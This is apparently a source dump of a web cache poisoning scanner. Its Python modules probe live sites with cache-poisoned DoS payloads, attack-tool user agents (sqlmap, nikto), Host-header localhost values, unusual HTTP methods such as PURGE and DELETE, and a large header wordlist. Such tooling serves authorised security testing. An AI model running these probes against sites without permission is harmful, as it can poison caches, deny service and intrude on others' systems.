print(f" {Identify.behavior} | CPDoSError {req_main.status_code} > {req_test.status_code} | \033[34m{url_cb}\033[0m | PAYLOAD: {url_test}") 69 | verify(req_main, url, url_cb, url_test, completed_path, range_exlusion, p, s) 70 | elif len(req_test.content) not in range_exlusion and req_test.status_code not in [403, 401, 429]: 71 | print(f" {Identify.behavior} | CPDoSError {len(req_main.content)}b > {len(req_test.content)}b | \033[34m{url_cb}\033[0m | PAYLOAD: {url_test}") 72 | verify(req_main, url, url_cb, url_test, completed_path, range_exlusion, p, s) 73 | except requests.Timeout: 74 | #print(f"request timeout {url} {p}") 75 | pass 76 | except Exception as e: 77 | #traceback.print_exc() 78 | pass 79 | 80 | 81 | 82 | 83 | if __name__ == "__main__": 84 | # file => python3 file.py f file.txt | single url => python3 file.py url.com 85 | s = requests.Session() 86 | s.headers.update( 87 | { 88 | "User-agent": "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; LCJB; rv:11.0) like Gecko", 89 | } 90 | ) 91 | 92 | if len(sys.argv) == 2: 93 | url = sys.argv[1] 94 | main(url, s) 95 | elif len(sys.argv) == 3: 96 | input_file = sys.argv[2] 97 | with open(input_file, 'r') as f: 98 | urls = [line.strip() for line in f if line.strip()] 99 | for url in urls: 100 | main(url, s) 101 | print(f" {url}", end='\r') 102 | else: 103 | print("Usage:\n With file => python3 file.py f file.txt \n With single url => python3 file.py url.com") -------------------------------------------------------------------------------- /modules/cpdos/waf_rules.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Checks if WAF blocking can be cached 6 | ex: user-agent: sqlmap > blocked by waf > cached 7 | """ 8 | 9 | from modules.utils import * 10 | 11 | def waf_rules(url, s, req_main, authent): 12 | print(" - waf rules") 13 | bad_ua = ["360Spider", "acapbot", "acoonbot", "ahrefs", "alexibot", "asterias", "attackbot", "backdorbot", "becomebot", "binlar", "blackwidow", "blekkobot", "blexbot", "blowfish", "bullseye", "bunnys", "butterfly", "careerbot", "casper", "checkpriv", "cheesebot", "cherrypick", "chinaclaw", "choppy", "clshttp", "cmsworld", "copernic", "copyrightcheck", "cosmos", "crescent", "cy_cho", "datacha", "demon", "diavol", "discobot", "dittospyder", "dotbot", "dotnetdotcom", "dumbot", "emailcollector", "emailsiphon", "emailwolf", "exabot", "extract", "eyenetie", "feedfinder", "flaming", "flashget", "flicky", "foobot", "g00g1e", "getright", "gigabot", "gozilla", "grabnet", "grafula", "harvest", "heritrix", "httrack", "icarus6j", "jetbot", "jetcar", "jikespider", "kmccrew", "leechftp", "libweb", "linkextractor", "linkscan", "linkwalker", "loader", "masscan", "miner", "majestic", "mechanize", "mj12bot", "morfeus", "moveoverbot", "netmechanic", "netspider", "nicerspro", "nikto", "ninja", "nutch", "octopus", "pagegrabber", "planetwork", "postrank", "proximic", "purebot", "pycurl", "python", "queryn", "queryseeker", "radian6", "radiation", "realdownload", "rogerbot", "scooter", "seekerspider", "semalt", "siclab", "sindice", "sistrix", "sitebot", "siteexplorer", "sitesnagger", "skygrid", "smartdownload", "snoopy", "sosospider", "spankbot", "spbot", "sqlmap", "stackrambler", "stripper", "sucker", "surftbot", "sux0r", "suzukacz", "suzuran", "takeout", "teleport", "telesoft", "true_robots", "turingos", "turnit", "vampire", "vikspider", "voideye", "webleacher", "webreaper", "webstripper", "webvac", "webviewer", "webwhacker", "winhttp", "wwwoffle", "woxbot", "xaldon", "xxxyy", "yamanalab", "yioopbot", "youda", "zeus", "zmeu", "zune", "zyborg"] 14 | 15 | block_res = False 16 | cache_block_res = False 17 | 18 | main_status_code = req_main.status_code 19 | 20 | list_block_ua = [] 21 | list_cache_block_ua = [] 22 | 23 | if main_status_code not in [403, 401]: 24 | for bua in bad_ua: 25 | headers = { 26 | "user-agent": bua 27 | } 28 | req_ua = s.get(url, headers=headers, verify=False, timeout=10, auth=authent, allow_redirects=False) 29 | if req_ua.status_code == 403: 30 | list_block_ua.append(bua) 31 | for rf in req_ua.headers: 32 | if "cache" in rf.lower(): 33 | try: 34 | if req_ua.headers["X-Cache"]: 35 | if req_ua.headers["X-Cache"] != "Error from cloudfront": 36 | list_cache_block_ua.append(bua) 37 | elif req_ua.headers["X-Cache"] == "Error from cloudfront": 38 | pass 39 | else: 40 | list_cache_block_ua.append(bua) 41 | except KeyError: 42 | list_cache_block_ua.append(bua) 43 | if list_block_ua: 44 | if len(list_block_ua) > 1: 45 | print(f"{url} 403 with {len(list_block_ua)}") 46 | else: 47 | print(f"{url} 403 with {list_block_ua}") 48 | if list_cache_block_ua: 49 | if len(list_cache_block_ua) > 1: 50 | print(f"{url} cached the 403 response with {len(list_cache_block_ua)} {list_cache_block_ua[1]}") 51 | else: 52 | print(f"{url} cached the 403 response with {list_cache_block_ua}".format(url, )) 53 | -------------------------------------------------------------------------------- /modules/header_checks/check_localhost.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Attemps to check if localhost can be scanned with Host Header 6 | """ 7 | 8 | from modules.utils import * 9 | 10 | def check_localhost(url, s, domain, authent): 11 | list_test = ["127.0.0.1", "localhost", "192.168.0.1", "127.0.1", "127.1", "::1", "127.0.0.2", "127.0.0.1", "127.0.0.1:22", 12 | "0.0.0.0", "0.0.0.0:443", "[::]:80", "127.0.0.1.nip.io", "127.127.127.127"] 13 | 14 | print(f"{Colors.CYAN} ├ Host analysis{Colors.RESET}") 15 | for lt in list_test: 16 | headers = {"Host": lt} 17 | try: 18 | req = s.get(url, headers=headers, verify=False, allow_redirects=False, timeout=10) 19 | if req.status_code in [301, 302]: 20 | try: 21 | req_redirect = s.get(url, headers=headers, verify=False, allow_redirects=True, timeout=10, auth=authent) 22 | print(f" └── Host: {lt:<13}{'→':^3} {req.status_code:>3}{'→':^3}{req.headers['location']}") 23 | except: 24 | print(f" └── Host: {lt:<13}{'→':^3} {req.status_code:>3}{'→':^3}{req.headers['location']}") 25 | else: 26 | print(f" └── Host: {lt:<13}{'→':^3} {req.status_code:>3} [{len(req.content)} bytes]") 27 | except: 28 | #traceback.print_exc() 29 | pass -------------------------------------------------------------------------------- /modules/header_checks/http_version.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Check support for different HTTP versions 6 | """ 7 | 8 | from http.client import HTTPConnection 9 | from modules.utils import requests, configure_logger 10 | 11 | logger = configure_logger(__name__) 12 | 13 | 14 | def check_http_version(url): 15 | 16 | print("\033[36m ├ HTTP Version analysis\033[0m") 17 | versions = ["HTTP/0.9", "HTTP/1.0", "HTTP/1.1", "HTTP/1.6", "HTTP/2", "HTTP/3", "QUIC", "HtTP/1.1", "SHTTP/1.3", "HTTP/1.1.1"] 18 | 19 | try: 20 | req = requests.get(url, verify=False, allow_redirects=False, timeout=10) 21 | req_base_version = req.raw.version 22 | logger.debug("HTTP Version : %s", req_base_version) 23 | 24 | for v in versions: 25 | HTTPConnection._http_vsn_str = v 26 | try: 27 | req_v = requests.get(url, timeout=10, verify=False, allow_redirects=False) 28 | print( 29 | f" └── {v:<9}: {req_v.status_code:<3} [{len(req_v.content)} bytes] [Header Size: {len(req_v.headers)}b]" 30 | ) 31 | except requests.exceptions.Timeout: 32 | print(f" └── Timeout Error with {v}") 33 | except KeyboardInterrupt as exc: 34 | raise KeyboardInterrupt from exc 35 | except Exception as e: 36 | print(f" └── Error with {v} : {e}") 37 | logger.exception(e) 38 | 39 | if req_base_version == 10: 40 | HTTPConnection._http_vsn_str = "HTTP/1.0" 41 | elif req_base_version == 11: 42 | HTTPConnection._http_vsn_str = "HTTP/1.1" 43 | elif req_base_version == 20: 44 | HTTPConnection._http_vsn_str = "HTTP/2" 45 | except Exception as e: 46 | print(f" └── Error {e}") 47 | logger.exception(e) 48 | 49 | 50 | if __name__ == "__main__": 51 | url = "https://www.hosteur.com" 52 | check_http_version(url) 53 | -------------------------------------------------------------------------------- /modules/header_checks/methods.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Check support for different HTTP methods 6 | """ 7 | 8 | import urllib3 9 | from urllib3 import Timeout, PoolManager 10 | from modules.utils import requests, configure_logger 11 | 12 | logger = configure_logger(__name__) 13 | 14 | desc_method = { 15 | 204: "204 No Content", 16 | 400: "\033[33m400 Bad Request\033[0m", 17 | 405: "\033[33m405 Method Not Allowed\033[0m", 18 | 406: "\033[33m406 Not Acceptable\033[0m", 19 | 409: "\033[33m409 Conflict\033[0m", 20 | 410: "410 Gone", 21 | 500: "\033[31m500 Internal Server Error\033[0m", 22 | 501: "\033[31m501 Not Implemented\033[0m", 23 | 502: "\033[31m502 Bad Gateway\033[0m", 24 | } 25 | 26 | header = { 27 | "User-agent": "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; LCJB; rv:11.0) like Gecko" 28 | } 29 | 30 | 31 | def get(url): 32 | req_g = requests.get( 33 | url, verify=False, allow_redirects=False, headers=header, timeout=120 34 | ) 35 | return req_g.status_code, req_g.headers, "GET", len(req_g.content), req_g.content 36 | 37 | 38 | def post(url): 39 | req_p = requests.post( 40 | url, verify=False, allow_redirects=False, headers=header, timeout=120 41 | ) 42 | return req_p.status_code, req_p.headers, "POST", len(req_p.content), req_p.content 43 | 44 | 45 | def put(url): 46 | req_pt = requests.put( 47 | url, verify=False, allow_redirects=False, headers=header, timeout=120 48 | ) 49 | return ( 50 | req_pt.status_code, 51 | req_pt.headers, 52 | "PUT", 53 | len(req_pt.content), 54 | req_pt.content, 55 | ) 56 | 57 | 58 | def patch(url): 59 | req_ptch = requests.patch( 60 | url, verify=False, allow_redirects=False, headers=header, timeout=120 61 | ) 62 | return ( 63 | req_ptch.status_code, 64 | req_ptch.headers, 65 | "PATCH", 66 | len(req_ptch.content), 67 | req_ptch.content, 68 | ) 69 | 70 | 71 | def options(url): 72 | req_o = requests.options( 73 | url, verify=False, allow_redirects=False, headers=header, timeout=120 74 | ) 75 | return ( 76 | req_o.status_code, 77 | req_o.headers, 78 | "OPTIONS", 79 | len(req_o.content), 80 | req_o.content, 81 | ) 82 | 83 | 84 | def check_other_methods(ml, url, http): 85 | try: 86 | if ml == "DELETE": 87 | url = f"{url}plopiplop.css" 88 | resp = http.request(ml, url) # check response with a bad method 89 | rs = resp.status 90 | resp_h = resp.headers 91 | 92 | cache_status = False 93 | try: 94 | rs = desc_method[rs] 95 | except KeyError: 96 | logger.debug("No descriptions available for status %s", rs) 97 | 98 | for rh in resp_h: 99 | if ( 100 | "Cache-Status" in rh 101 | or "X-Cache" in rh 102 | or "x-drupal-cache" in rh 103 | or "X-Proxy-Cache" in rh 104 | or "X-HS-CF-Cache-Status" in rh 105 | or "X-Vercel-Cache" in rh 106 | or "X-nananana" in rh 107 | or "x-vercel-cache" in rh 108 | or "X-TZLA-EDGE-Cache-Hit" in rh 109 | or "x-spip-cache" in rh 110 | or "x-nextjs-cache" in rh 111 | ): 112 | cache_status = True 113 | len_req = len(resp.data.decode("utf-8")) 114 | if len(ml) > 4: 115 | print( 116 | f" └── {ml}{'':<3}: {rs:<3} [{len_req} bytes]{'':<1}[CacheTag: {cache_status}]" 117 | ) 118 | elif len(ml) < 4 and len(ml) > 2: 119 | print( 120 | f" └── {ml}{'':<5}: {rs:<3} [{len_req} bytes]{'':<1}[CacheTag: {cache_status}]" 121 | ) 122 | elif len(ml) == 2: 123 | print( 124 | f" └── {ml}{'':<6}: {rs:<3} [{len_req} bytes]{'':<1}[CacheTag: {cache_status}]" 125 | ) 126 | else: 127 | print( 128 | f" └── {ml}{'':<4}: {rs:<3} [{len_req} bytes]{'':<1}[CacheTag: {cache_status}]" 129 | ) 130 | logger.debug("Data response: %s", resp.data) 131 | 132 | except urllib3.exceptions.MaxRetryError: 133 | print(f" └── {ml} : Error due to a too many redirects") 134 | except Exception as e: 135 | logger.exception(e) 136 | 137 | 138 | def check_methods(url, custom_header, authent): 139 | """ 140 | Try other method 141 | Ex: OPTIONS /admin 142 | """ 143 | htimeout = Timeout(connect=7.0, read=7.0) 144 | http = PoolManager(timeout=htimeout) 145 | 146 | print("\033[36m ├ Methods analysis\033[0m") 147 | result_list = [] 148 | for funct in [get, post, put, patch, options]: 149 | try: 150 | result_list.append(funct(url)) 151 | except Exception as e: 152 | print(f" └── Error with {funct} method: {e}") 153 | logger.exception("Error with %s method", funct, exc_info=True) 154 | 155 | for rs, req_head, type_r, len_req, req_content in result_list: 156 | try: 157 | rs = desc_method[rs] 158 | except KeyError: 159 | logger.debug("No descriptions available for status %s", rs) 160 | 161 | cache_status = False 162 | cache_res = "" 163 | 164 | for rh in req_head: 165 | if "cache" in rh.lower(): 166 | cache_status = True 167 | cache_res = rh 168 | print(f" └── {type_r:<8}: {rs:<3} [{len_req} bytes] [CacheTag: {cache_status}]") 169 | if type_r == "OPTIONS": 170 | for x in req_head: 171 | if x.lower() == "allow": 172 | print(f" |-- allow: {req_head[x]}") 173 | 174 | method_list = [ 175 | "ST", 176 | "BAN", 177 | "ACL", 178 | "PLOP", 179 | "HELP", 180 | "BREW", 181 | "PURGE", 182 | "DEBUG", 183 | "TRACE", 184 | "REPORT", 185 | "DISMISS", 186 | "CONNECT", 187 | "PROPFIND", 188 | "FASTLYPURGE", 189 | "PURGESINGLE", 190 | "SHOWHEADERS", 191 | ] 192 | for ml in method_list: 193 | check_other_methods(ml, url, http) 194 | -------------------------------------------------------------------------------- /modules/header_checks/vhosts.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Checks if web page content is different between IP address and Host 6 | """ 7 | 8 | import socket 9 | from urllib.parse import urlparse 10 | from modules.utils import requests, configure_logger 11 | 12 | logger = configure_logger(__name__) 13 | 14 | def check_vhost(domain, url): 15 | print("\033[36m ├ Vhosts misconfiguration \033[0m") 16 | try: 17 | req_index = requests.get(url, verify=False, timeout=10) 18 | len_index = len(req_index.content) 19 | retrieve_vh = False 20 | 21 | parsed_url = urlparse(url) 22 | host = parsed_url.netloc 23 | dom = host if host.split(".")[0] != "www" else host.lstrip("www.") 24 | 25 | #print(dom) 26 | 27 | vhosts = [f"https://{dom}/", f"http://{dom}/", f"http://www2.{dom}/", f"http://www3.{dom}/", f"https://www2.{dom}/", 28 | f"https://www3.{dom}/"] 29 | for vh in vhosts: 30 | #print(vh) 31 | try: 32 | req_vh = requests.get(vh, verify=False, timeout=10) 33 | if req_vh.status_code not in [404, 403, 425, 503, 500, 400] and len(req_vh.content) not in range(len_index - 100, len_index + 100): 34 | retrieve_vh = True 35 | print(f" └── \033[32m\u251c\033[0m {url} [{len_index}b] <> {vh} [{len(req_vh.content)}b] ") 36 | except (requests.RequestException, socket.gaierror) as e: 37 | logger.exception("The host IP has a problem, check it manually please: %s. Exception: %s", vh, e) 38 | except (requests.RequestException, socket.gaierror) as e: 39 | logger.exception("Exception occurred: %s", e) 40 | -------------------------------------------------------------------------------- /modules/lists/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | This module provides functionality to load payloads from files into lists. 6 | """ 7 | 8 | from typing import List 9 | from modules.lists.payloads_errors import payloads_keys 10 | from modules.lists.all_payload_keys import all_payload_keys 11 | 12 | __all__ = ["load_payloads_from", "header_list", "mobile_user_agents", "payloads_keys", "all_payload_keys"] 13 | 14 | header_list = [] 15 | mobile_user_agents = [] 16 | 17 | 18 | def load_payloads_from(file_path: str) -> List[str]: 19 | """ 20 | Load payloads from a file into a list. 21 | 22 | :param file_path: Path to the file containing payloads. 23 | :return: A list of payloads. 24 | """ 25 | results: List[str] = [] 26 | try: 27 | with open(file_path, "r", encoding="utf-8") as f: 28 | results = [line for line in f.read().split("\n") if line] 29 | except FileNotFoundError: 30 | print(f"The file '{file_path}' was not found.") 31 | return results 32 | 33 | 34 | mobile_user_agents = load_payloads_from("./modules/lists/mobile-user-agent.lst") 35 | header_list = load_payloads_from("./modules/lists/lowercase-headers.lst") 36 | -------------------------------------------------------------------------------- /modules/lists/lowercase-headers.lst: -------------------------------------------------------------------------------- 1 | Accept 2 | Accept-Application 3 | Accept-Charset 4 | Accept-Encoding 5 | Accept-Encodxng 6 | Accept-Language 7 | Accept-Ranges 8 | Accept-Version 9 | Accepted 10 | Access-Control-Allow-Credentials 11 | Access-Control-Allow-Headers 12 | Access-Control-Allow-Methods 13 | Access-Control-Allow-Origin 14 | Access-Control-Expose-Headers 15 | Access-Control-Max-Age 16 | Access-Control-Request-Headers 17 | Access-Control-Request-Method 18 | Access-Token 19 | Accesskey 20 | Action 21 | Admin 22 | Age 23 | Ajax 24 | Akamai-Origin-Hop 25 | Allow 26 | App 27 | App-Env 28 | App-Key 29 | Appcookie 30 | Apply-To-Redirect-Ref 31 | Appname 32 | Appversion 33 | Atcept-Language 34 | Auth 35 | Auth-Any 36 | Auth-Basic 37 | Auth-Digest 38 | Auth-Digest-Ie 39 | Auth-Gssneg 40 | Auth-Key 41 | Auth-Ntlm 42 | Auth-Password 43 | Auth-Realm 44 | Auth-Type 45 | Auth-User 46 | Authentication 47 | Authorization 48 | Bad-Gateway 49 | Bad-Request 50 | Bae-Env-Addr-Bcms 51 | Bae-Env-Addr-Bcs 52 | Bae-Env-Addr-Bus 53 | Bae-Env-Addr-Channel 54 | Bae-Env-Addr-Sql-Ip 55 | Bae-Env-Addr-Sql-Port 56 | Bae-Env-Ak 57 | Bae-Env-Appid 58 | Bae-Env-Sk 59 | Bae-Logid 60 | Bar 61 | Base 62 | Base-Url 63 | Basic 64 | Bearer-Indication 65 | Body-Maxlength 66 | Body-Truncated 67 | Brief 68 | Browser-User-Agent 69 | Cache-Control 70 | Cache-Info 71 | Case-Files 72 | Catalog 73 | Catalog-Server 74 | Category 75 | Cert-Cookie 76 | Cert-Flags 77 | Cert-Issuer 78 | Cert-Keysize 79 | Cert-Secretkeysize 80 | Cert-Serialnumber 81 | Cert-Server-Issuer 82 | Cert-Server-Subject 83 | Cert-Subject 84 | Cf-Connecting-Ip 85 | Cf-Ipcountry 86 | Cf-Template-Path 87 | Cf-Visitor 88 | Ch 89 | Challenge-Response 90 | Charset 91 | Chunk-Size 92 | Client 93 | Client-Address 94 | Client-Bad-Request 95 | Client-Conflict 96 | Client-Error-Cannot-Access-Local-File 97 | Client-Error-Cannot-Connect 98 | Client-Error-Communication-Failure 99 | Client-Error-Connect 100 | Client-Error-Invalid-Parameters 101 | Client-Error-Invalid-Server-Address 102 | Client-Error-No-Error 103 | Client-Error-Protocol-Failure 104 | Client-Error-Unspecified-Error 105 | Client-Expectation-Failed 106 | Client-Forbidden 107 | Client-Gone 108 | Client-Ip 109 | Client-Length-Required 110 | Client-Method-Not-Allowed 111 | Client-Not-Acceptable 112 | Client-Not-Found 113 | Client-Payment-Required 114 | Client-Precondition-Failed 115 | Client-Proxy-Auth-Required 116 | Client-Quirk-Mode 117 | Client-Request-Timeout 118 | Client-Request-Too-Large 119 | Client-Request-Uri-Too-Large 120 | Client-Requested-Range-Not-Possible 121 | Client-Unauthorized 122 | Client-Unsupported-Media-Type 123 | Clientaddress 124 | Clientip 125 | Cloudfront-Viewer-Country 126 | Cloudinary-Name 127 | Cloudinary-Public-Id 128 | Cloudinary-Version 129 | Cloudinaryurl 130 | Code 131 | Coming-From 132 | Compress 133 | Conflict 134 | Connection 135 | Connection-Type 136 | Contact 137 | Content 138 | Content-Disposition 139 | Content-Encoding 140 | Content-Language 141 | Content-Length 142 | Content-Location 143 | Content-Md5 144 | Content-Range 145 | Content-Security-Policy 146 | Content-Security-Policy-Report-Only 147 | Content-Type 148 | Content-Type-Xhtml 149 | Context-Path 150 | Continue 151 | Cookie 152 | Cookie-Domain 153 | Cookie-Httponly 154 | Cookie-Parse-Raw 155 | Cookie-Path 156 | Cookie-Secure 157 | Cookie-Vars 158 | Cookie2 159 | Cookies 160 | Core-Base 161 | Created 162 | Credentials-Filepath 163 | Curl 164 | Curl-Multithreaded 165 | Custom-Header 166 | Custom-Secret-Header 167 | Dataserviceversion 168 | Date 169 | Debug 170 | Deflate-Level-Def 171 | Deflate-Level-Max 172 | Deflate-Level-Min 173 | Deflate-Strategy-Def 174 | Deflate-Strategy-Filt 175 | Deflate-Strategy-Fixed 176 | Deflate-Strategy-Huff 177 | Deflate-Strategy-Rle 178 | Deflate-Type-Gzip 179 | Deflate-Type-Raw 180 | Deflate-Type-Zlib 181 | Delete 182 | Depth 183 | Destination 184 | Destroy 185 | Devblocksproxybase 186 | Devblocksproxyhost 187 | Devblocksproxyssl 188 | Device-Stock-Ua 189 | Digest 190 | Dir 191 | Dir-Name 192 | Dir-Resource 193 | Disable-Gzip 194 | Dkim-Signature 195 | Dnt 196 | Download-Attachment 197 | Download-Bad-Url 198 | Download-Bz2 199 | Download-Cut-Short 200 | Download-E-Headers-Sent 201 | Download-E-Invalid-Archive-Type 202 | Download-E-Invalid-Content-Type 203 | Download-E-Invalid-File 204 | Download-E-Invalid-Param 205 | Download-E-Invalid-Request 206 | Download-E-Invalid-Resource 207 | Download-E-No-Ext-Mmagic 208 | Download-E-No-Ext-Zlib 209 | Download-Inline 210 | Download-Mime-Type 211 | Download-No-Server 212 | Download-Size 213 | Download-Status-Not-Found 214 | Download-Status-Server-Error 215 | Download-Status-Unauthorized 216 | Download-Status-Unknown 217 | Download-Tar 218 | Download-Tgz 219 | Download-Url 220 | Download-Zip 221 | E-Encoding 222 | E-Header 223 | E-Invalid-Param 224 | E-Malformed-Headers 225 | E-Message-Type 226 | E-Querystring 227 | E-Request 228 | E-Request-Method 229 | E-Request-Pool 230 | E-Response 231 | E-Runtime 232 | E-Socket 233 | E-Url 234 | Enable-Gzip 235 | Enable-No-Cache-Headers 236 | Encoding-Stream-Flush-Full 237 | Encoding-Stream-Flush-None 238 | Encoding-Stream-Flush-Sync 239 | Env-Silla-Environment 240 | Env-Vars 241 | Error 242 | Error-1 243 | Error-2 244 | Error-3 245 | Error-4 246 | Error-Formatting-Html 247 | Espo-Authorization 248 | Espo-Cgi-Auth 249 | Etag 250 | Eve-Charid 251 | Eve-Charname 252 | Eve-Solarsystemid 253 | Eve-Solarsystemname 254 | Eve-Trusted 255 | Ex-Copy-Movie 256 | Expect 257 | Expectation-Failed 258 | Expires 259 | Ext 260 | Failed-Dependency 261 | Fake-Header 262 | Fastly-Client-Ip 263 | Fb-Appid 264 | Fb-Secret 265 | File-Not-Found 266 | Filename 267 | Files 268 | Files-Vars 269 | Fire-Breathing-Dragon 270 | Foo 271 | Foo-Bar 272 | Forbidden 273 | Force-Language 274 | Force-Local-Xhprof 275 | Format 276 | Forwarded 277 | Forwarded-For 278 | Forwarded-For-Ip 279 | Forwarded-Proto 280 | From 281 | Fromlink 282 | Front-End-Https 283 | Gateway-Interface 284 | Gateway-Time-Out 285 | Get 286 | Get-Vars 287 | Givenname 288 | Global-All 289 | Global-Cookie 290 | Global-Get 291 | Global-Post 292 | Gone 293 | Google-Code-Project-Hosting-Hook-Hmac 294 | Gzip-Level 295 | H0st 296 | Head 297 | Header 298 | Header-Lf 299 | Header-Status-Client-Error 300 | Header-Status-Informational 301 | Header-Status-Redirect 302 | Header-Status-Server-Error 303 | Header-Status-Successful 304 | Home 305 | Host 306 | Host-Liveserver 307 | Host-Name 308 | Host-Unavailable 309 | Hosti 310 | Htaccess 311 | Http-Accept 312 | Http-Accept-Encoding 313 | Http-Accept-Language 314 | Http-Authorization 315 | Http-Connection 316 | Http-Cookie 317 | Http-Host 318 | Http-Phone-Number 319 | Http-Referer 320 | Http-Url 321 | Http-User-Agent 322 | Https 323 | Https-From-Lb 324 | Https-Keysize 325 | Https-Secretkeysize 326 | Https-Server-Issuer 327 | Https-Server-Subject 328 | If 329 | If-Match 330 | If-Modified-Since 331 | If-Modified-Since-Version 332 | If-None-Match 333 | If-Posted-Before 334 | If-Range 335 | If-Unmodified-Since 336 | If-Unmodified-Since-Version 337 | Image 338 | Images 339 | Incap-Client-Ip 340 | Info 341 | Info-Download-Size 342 | Info-Download-Time 343 | Info-Return-Code 344 | Info-Total-Request-Stat 345 | Info-Total-Response-Stat 346 | Insufficient-Storage 347 | Internal-Server-Error 348 | Ipresolve-Any 349 | Ipresolve-V4 350 | Ipresolve-V6 351 | Ischedule-Version 352 | Iv-Groups 353 | Iv-User 354 | Javascript 355 | Jenkins 356 | Keep-Alive 357 | Kiss-Rpc 358 | Label 359 | Large-Allocation 360 | Last-Event-Id 361 | Last-Modified 362 | Length-Required 363 | Link 364 | Local-Addr 365 | Local-Content-Sha1 366 | Local-Dir 367 | Location 368 | Lock-Token 369 | Locked 370 | Mail 371 | Max-Conn 372 | Max-Forwards 373 | Max-Request-Size 374 | Max-Uri-Length 375 | Maxdataserviceversion 376 | Message 377 | Message-B 378 | Meth- 379 | Meth-Acl 380 | Meth-Baseline-Control 381 | Meth-Checkin 382 | Meth-Checkout 383 | Meth-Connect 384 | Meth-Copy 385 | Meth-Delete 386 | Meth-Get 387 | Meth-Head 388 | Meth-Label 389 | Meth-Lock 390 | Meth-Merge 391 | Meth-Mkactivity 392 | Meth-Mkcol 393 | Meth-Mkworkspace 394 | Meth-Move 395 | Meth-Options 396 | Meth-Post 397 | Meth-Propfind 398 | Meth-Proppatch 399 | Meth-Put 400 | Meth-Report 401 | Meth-Trace 402 | Meth-Uncheckout 403 | Meth-Unlock 404 | Meth-Update 405 | Meth-Version-Control 406 | Method 407 | Method-Not-Allowed 408 | Mimetype 409 | Mod-Env 410 | Mod-Rewrite 411 | Mod-Security-Message 412 | Modauth 413 | Mode 414 | Module-Class 415 | Module-Class-Path 416 | Module-Name 417 | Moved-Permanently 418 | Moved-Temporarily 419 | Ms-Asprotocolversion 420 | Msg-None 421 | Msg-Request 422 | Msg-Response 423 | Msisdn 424 | Multi-Status 425 | Multipart-Boundary 426 | Multiple-Choices 427 | My-Header 428 | Mysqlport 429 | Native-Sockets 430 | Negotiate 431 | Nl 432 | No-Content 433 | Non-Authoritative 434 | Nonce 435 | Not-Acceptable 436 | Not-Exists 437 | Not-Extended 438 | Not-Found 439 | Not-Implemented 440 | Not-Modified 441 | Notification-Template 442 | Oc-Chunked 443 | Ocs-Apirequest 444 | Ok 445 | On-Behalf-Of 446 | Onerror-Continue 447 | Onerror-Die 448 | Onerror-Return 449 | Opencart 450 | Options 451 | Organizer 452 | Orig_path_info 453 | Origin 454 | Originator 455 | Overwrite 456 | Params-Allow-Comma 457 | Params-Allow-Failure 458 | Params-Default 459 | Params-Get-Catid 460 | Params-Get-Currentday 461 | Params-Get-Disposition 462 | Params-Get-Downwards 463 | Params-Get-Givendate 464 | Params-Get-Lang 465 | Params-Get-Type 466 | Params-Raise-Error 467 | Partial-Content 468 | Passkey 469 | Password 470 | Path 471 | Path-Base 472 | Path-Info 473 | Path-Themes 474 | Path-Translated 475 | Payment-Required 476 | Pc-Remote-Addr 477 | Phone-Number 478 | Php 479 | Php-Auth-Pw 480 | Php-Auth-User 481 | Phpthreads 482 | Pink-Pony 483 | Port 484 | Portsensor-Auth 485 | Post 486 | Post-Error 487 | Post-Files 488 | Post-Vars 489 | Postredir-301 490 | Postredir-302 491 | Postredir-All 492 | Pragma 493 | Pragma-No-Cache 494 | Precondition-Failed 495 | Prefer 496 | Processing 497 | Profile 498 | Protocol 499 | Protocols 500 | Proxy 501 | Proxy-Agent 502 | Proxy-Authenticate 503 | Proxy-Authentication-Required 504 | Proxy-Authorization 505 | Proxy-Connection 506 | Proxy-Host 507 | Proxy-Http 508 | Proxy-Http-1-0 509 | Proxy-Password 510 | Proxy-Port 511 | Proxy-Pwd 512 | Proxy-Request-Fulluri 513 | Proxy-Socks4 514 | Proxy-Socks4a 515 | Proxy-Socks5 516 | Proxy-Socks5-Hostname 517 | Proxy-Url 518 | Proxy-User 519 | Public-Key-Pins 520 | Public-Key-Pins-Report-Only 521 | Pull 522 | Put 523 | Query-String 524 | Querystring 525 | Querystring-Type-Array 526 | Querystring-Type-Bool 527 | Querystring-Type-Float 528 | Querystring-Type-Int 529 | Querystring-Type-Object 530 | Querystring-Type-String 531 | Range 532 | Range-Not-Satisfiable 533 | Raw-Post-Data 534 | Read-State-Begin 535 | Read-State-Body 536 | Read-State-Headers 537 | Real-Ip 538 | Real-Method 539 | Reason 540 | Reason-Phrase 541 | Recipient 542 | Redirect 543 | Redirect-Found 544 | Redirect-Perm 545 | Redirect-Post 546 | Redirect-Problem-Withoutwww 547 | Redirect-Problem-Withwww 548 | Redirect-Proxy 549 | Redirect-Temp 550 | Redirected-Accept-Language 551 | Redirection-Found 552 | Redirection-Multiple-Choices 553 | Redirection-Not-Modified 554 | Redirection-Permanent 555 | Redirection-See-Other 556 | Redirection-Temporary 557 | Redirection-Unused 558 | Redirection-Use-Proxy 559 | Ref 560 | Referer 561 | Referer 562 | Referrer 563 | Referrer-Policy 564 | Refferer 565 | Refresh 566 | Remix-Hash 567 | Remote-Addr 568 | Remote-Host 569 | Remote-Host-Wp 570 | Remote-User 571 | Remote-Userhttps 572 | Report-To 573 | Request 574 | Request-Entity-Too-Large 575 | Request-Error 576 | Request-Error-File 577 | Request-Error-Gzip-Crc 578 | Request-Error-Gzip-Data 579 | Request-Error-Gzip-Method 580 | Request-Error-Gzip-Read 581 | Request-Error-Proxy 582 | Request-Error-Redirects 583 | Request-Error-Response 584 | Request-Error-Url 585 | Request-Http-Ver-1-0 586 | Request-Http-Ver-1-1 587 | Request-Mbstring 588 | Request-Method 589 | Request-Method- 590 | Request-Method-Delete 591 | Request-Method-Get 592 | Request-Method-Head 593 | Request-Method-Options 594 | Request-Method-Post 